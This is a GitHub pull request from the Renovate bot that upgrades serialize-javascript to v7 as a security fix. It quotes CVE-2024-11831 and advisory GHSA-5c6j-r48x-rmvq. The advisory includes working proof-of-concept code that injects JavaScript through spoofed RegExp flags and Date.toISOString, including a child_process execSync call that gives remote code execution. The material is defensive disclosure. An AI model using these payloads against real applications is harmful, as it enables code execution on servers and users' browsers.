Skip to content

fix: update dependency serialize-javascript to v7 [security] (release-bot/next-v15.x)#2178

Open
renovate[bot] wants to merge 1 commit intorelease-bot/next-v15.xfrom
renovate/release-bot/next-v15.x-npm-serialize-javascript-vulnerability
Open

fix: update dependency serialize-javascript to v7 [security] (release-bot/next-v15.x)#2178
renovate[bot] wants to merge 1 commit intorelease-bot/next-v15.xfrom
renovate/release-bot/next-v15.x-npm-serialize-javascript-vulnerability

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Feb 18, 2025 •
edited
Loading

This PR contains the following updates:

Package Change Age Confidence
serialize-javascript ^6.0.0 → ^7.0.0 age confidence

GitHub Vulnerability Alerts

CVE-2024-11831

A flaw was found in npm-serialize-javascript. The vulnerability occurs because the serialize-javascript module does not properly sanitize certain inputs, such as regex or other JavaScript object types, allowing an attacker to inject malicious code. This code could be executed when deserialized by a web browser, causing Cross-site scripting (XSS) attacks. This issue is critical in environments where serialized data is sent to web clients, potentially compromising the security of the website or web application using this package.

GHSA-5c6j-r48x-rmvq

Impact

The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.

While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().

If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or <script> tags), the injected code executes.

javascript
const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
  get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@&#8203;placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!

#h2. PoC 2: Code Injection via Date.toISOString()

javascript
const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!

#h2. PoC 3: Remote Code Execution

javascript
const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
  get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@&#8203;rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command

Patches

The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

Release Notes

yahoo/serialize-javascript (serialize-javascript)

v7.0.3

Compare Source

v7.0.2

Compare Source

What's Changed

Full Changelog: yahoo/serialize-javascript@v7.0.1...v7.0.2

v7.0.1

Compare Source

What's Changed

New Contributors

Full Changelog: yahoo/serialize-javascript@v7.0.0...v7.0.1

v7.0.0

Compare Source

Breaking Changes

  • requires Node.js v20+

What's Changed

New Contributors

Full Changelog: yahoo/serialize-javascript@v6.0.2...v7.0.0

v6.0.2

Compare Source

v6.0.1

Compare Source

What's Changed

New Contributors

Full Changelog: yahoo/serialize-javascript@v6.0.0...v6.0.1

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the 📦 v15 Apply this label to a pull request, if it has to be cherry-picked to the v15.x-branch after merging. label Feb 18, 2025
@renovate renovate bot changed the title fix: update dependency serialize-javascript to v6.0.2 [security] (release-bot/next-v15.x) fix: update dependency serialize-javascript to v7 [security] (release-bot/next-v15.x) Mar 2, 2026
@renovate renovate bot force-pushed the renovate/release-bot/next-v15.x-npm-serialize-javascript-vulnerability branch from db02afa to f453e52 Compare March 2, 2026 09:44
@renovate renovate bot force-pushed the renovate/release-bot/next-v15.x-npm-serialize-javascript-vulnerability branch from f453e52 to ea12c18 Compare March 5, 2026 19:14
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

📦 v15 Apply this label to a pull request, if it has to be cherry-picked to the v15.x-branch after merging.

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants